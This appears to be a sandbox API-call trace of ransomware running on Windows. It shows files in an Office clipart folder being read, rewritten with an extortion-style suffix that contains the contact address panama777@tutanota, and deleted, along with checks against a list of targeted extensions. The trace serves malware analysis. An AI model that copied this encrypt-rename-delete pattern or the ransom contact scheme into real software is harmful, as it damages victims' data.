	[0275.513] GetLastError () returned 0x0
	[0275.513] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x52e0, lpOverlapped=0x0) returned 1
	[0275.521] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x52f0, lpOverlapped=0x0) returned 1
	[0275.522] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.522] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.522] SetEndOfFile (hFile=0x358) returned 1
	[0275.522] CloseHandle (hObject=0x358) returned 1
	[0275.522] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.522] SetEndOfFile (hFile=0x35c) returned 1
	[0275.524] CloseHandle (hObject=0x35c) returned 1
	[0275.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 1
	[0275.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63
	[0275.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63
	[0275.525] lstrlenW (lpString=".doc") returned 4
	[0275.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.525] lstrlenW (lpString=".docx") returned 5
	[0275.525] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0275.525] lstrlenW (lpString=".pdf") returned 4
	[0275.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.525] lstrlenW (lpString=".xls") returned 4
	[0275.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.525] lstrlenW (lpString=".xlsx") returned 5
	[0275.525] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0275.525] lstrlenW (lpString=".ppt") returned 4
	[0275.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63
	[0275.525] lstrlenW (lpString=".zip") returned 4
	[0275.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.525] lstrlenW (lpString=".rar") returned 4
	[0275.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.526] lstrlenW (lpString=".bz2") returned 4
	[0275.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.526] lstrlenW (lpString=".7z") returned 3
	[0275.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63
	[0275.526] lstrlenW (lpString=".dbf") returned 4
	[0275.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63
	[0275.526] lstrlenW (lpString=".1cd") returned 4
	[0275.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63
	[0275.526] lstrlenW (lpString=".jpg") returned 4
	[0275.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.526] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=4980) returned 1
	[0275.526] CloseHandle (hObject=0x35c) returned 1
	[0275.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 0x20
	[0275.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0275.527] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.527] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0275.527] GetLastError () returned 0x0
	[0275.527] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1374, lpOverlapped=0x0) returned 1
	[0275.529] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1380, lpOverlapped=0x0) returned 1
	[0275.530] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.530] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.530] SetEndOfFile (hFile=0x358) returned 1
	[0275.530] CloseHandle (hObject=0x358) returned 1
	[0275.530] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.530] SetEndOfFile (hFile=0x35c) returned 1
	[0275.532] CloseHandle (hObject=0x35c) returned 1
	[0275.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 1
	[0275.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63
	[0275.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63
	[0275.532] lstrlenW (lpString=".doc") returned 4
	[0275.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.532] lstrlenW (lpString=".docx") returned 5
	[0275.532] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0275.532] lstrlenW (lpString=".pdf") returned 4
	[0275.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.532] lstrlenW (lpString=".xls") returned 4
	[0275.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.533] lstrlenW (lpString=".xlsx") returned 5
	[0275.533] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0275.533] lstrlenW (lpString=".ppt") returned 4
	[0275.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63
	[0275.533] lstrlenW (lpString=".zip") returned 4
	[0275.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.533] lstrlenW (lpString=".rar") returned 4
	[0275.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.533] lstrlenW (lpString=".bz2") returned 4
	[0275.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.533] lstrlenW (lpString=".7z") returned 3
	[0275.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63
	[0275.533] lstrlenW (lpString=".dbf") returned 4
	[0275.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63
	[0275.533] lstrlenW (lpString=".1cd") returned 4
	[0275.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63
	[0275.533] lstrlenW (lpString=".jpg") returned 4
	[0275.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.534] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=3040) returned 1
	[0275.534] CloseHandle (hObject=0x35c) returned 1
	[0275.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 0x20
	[0275.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0275.535] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.535] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0275.535] GetLastError () returned 0x0
	[0275.535] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xbe0, lpOverlapped=0x0) returned 1
	[0275.772] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xbf0, lpOverlapped=0x0) returned 1
	[0275.787] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.787] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.787] SetEndOfFile (hFile=0x358) returned 1
	[0275.787] CloseHandle (hObject=0x358) returned 1
	[0275.787] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.787] SetEndOfFile (hFile=0x35c) returned 1
	[0275.789] CloseHandle (hObject=0x35c) returned 1
	[0275.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 1
	[0275.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63
	[0275.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63
	[0275.790] lstrlenW (lpString=".doc") returned 4
	[0275.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.790] lstrlenW (lpString=".docx") returned 5
	[0275.790] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0275.790] lstrlenW (lpString=".pdf") returned 4
	[0275.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.790] lstrlenW (lpString=".xls") returned 4
	[0275.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.790] lstrlenW (lpString=".xlsx") returned 5
	[0275.790] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0275.790] lstrlenW (lpString=".ppt") returned 4
	[0275.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63
	[0275.790] lstrlenW (lpString=".zip") returned 4
	[0275.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.790] lstrlenW (lpString=".rar") returned 4
	[0275.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.791] lstrlenW (lpString=".bz2") returned 4
	[0275.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.791] lstrlenW (lpString=".7z") returned 3
	[0275.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63
	[0275.791] lstrlenW (lpString=".dbf") returned 4
	[0275.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63
	[0275.791] lstrlenW (lpString=".1cd") returned 4
	[0275.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63
	[0275.791] lstrlenW (lpString=".jpg") returned 4
	[0275.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.792] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.792] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0275.792] GetLastError () returned 0x0
	[0275.792] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x6890, lpOverlapped=0x0) returned 1
	[0275.794] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x68a0, lpOverlapped=0x0) returned 1
	[0275.795] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.795] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.795] SetEndOfFile (hFile=0x358) returned 1
	[0275.795] CloseHandle (hObject=0x358) returned 1
	[0275.795] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.796] SetEndOfFile (hFile=0x35c) returned 1
	[0275.799] CloseHandle (hObject=0x35c) returned 1
	[0275.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf")) returned 1
	[0275.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63
	[0275.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63
	[0275.800] lstrlenW (lpString=".doc") returned 4
	[0275.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.800] lstrlenW (lpString=".docx") returned 5
	[0275.800] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0275.800] lstrlenW (lpString=".pdf") returned 4
	[0275.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.800] lstrlenW (lpString=".xls") returned 4
	[0275.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.800] lstrlenW (lpString=".xlsx") returned 5
	[0275.800] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0275.800] lstrlenW (lpString=".ppt") returned 4
	[0275.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63
	[0275.800] lstrlenW (lpString=".zip") returned 4
	[0275.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.801] lstrlenW (lpString=".rar") returned 4
	[0275.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.801] lstrlenW (lpString=".bz2") returned 4
	[0275.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.801] lstrlenW (lpString=".7z") returned 3
	[0275.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63
	[0275.801] lstrlenW (lpString=".dbf") returned 4
	[0275.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63
	[0275.801] lstrlenW (lpString=".1cd") returned 4
	[0275.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63
	[0275.801] lstrlenW (lpString=".jpg") returned 4
	[0275.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.802] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.802] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0275.802] GetLastError () returned 0x0
	[0275.802] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1ba0, lpOverlapped=0x0) returned 1
	[0275.804] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1bb0, lpOverlapped=0x0) returned 1
	[0275.805] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.805] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.805] SetEndOfFile (hFile=0x358) returned 1
	[0275.805] CloseHandle (hObject=0x358) returned 1
	[0275.805] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.805] SetEndOfFile (hFile=0x35c) returned 1
	[0275.807] CloseHandle (hObject=0x35c) returned 1
	[0275.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf")) returned 1
	[0275.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63
	[0275.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63
	[0275.808] lstrlenW (lpString=".doc") returned 4
	[0275.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.808] lstrlenW (lpString=".docx") returned 5
	[0275.808] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0275.808] lstrlenW (lpString=".pdf") returned 4
	[0275.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.808] lstrlenW (lpString=".xls") returned 4
	[0275.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.808] lstrlenW (lpString=".xlsx") returned 5
	[0275.808] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0275.808] lstrlenW (lpString=".ppt") returned 4
	[0275.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63
	[0275.808] lstrlenW (lpString=".zip") returned 4
	[0275.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.808] lstrlenW (lpString=".rar") returned 4
	[0275.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.808] lstrlenW (lpString=".bz2") returned 4
	[0275.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.808] lstrlenW (lpString=".7z") returned 3
	[0275.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63
	[0275.808] lstrlenW (lpString=".dbf") returned 4
	[0275.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63
	[0275.808] lstrlenW (lpString=".1cd") returned 4
	[0275.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned 63
	[0275.808] lstrlenW (lpString=".jpg") returned 4
	[0275.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.817] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.817] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
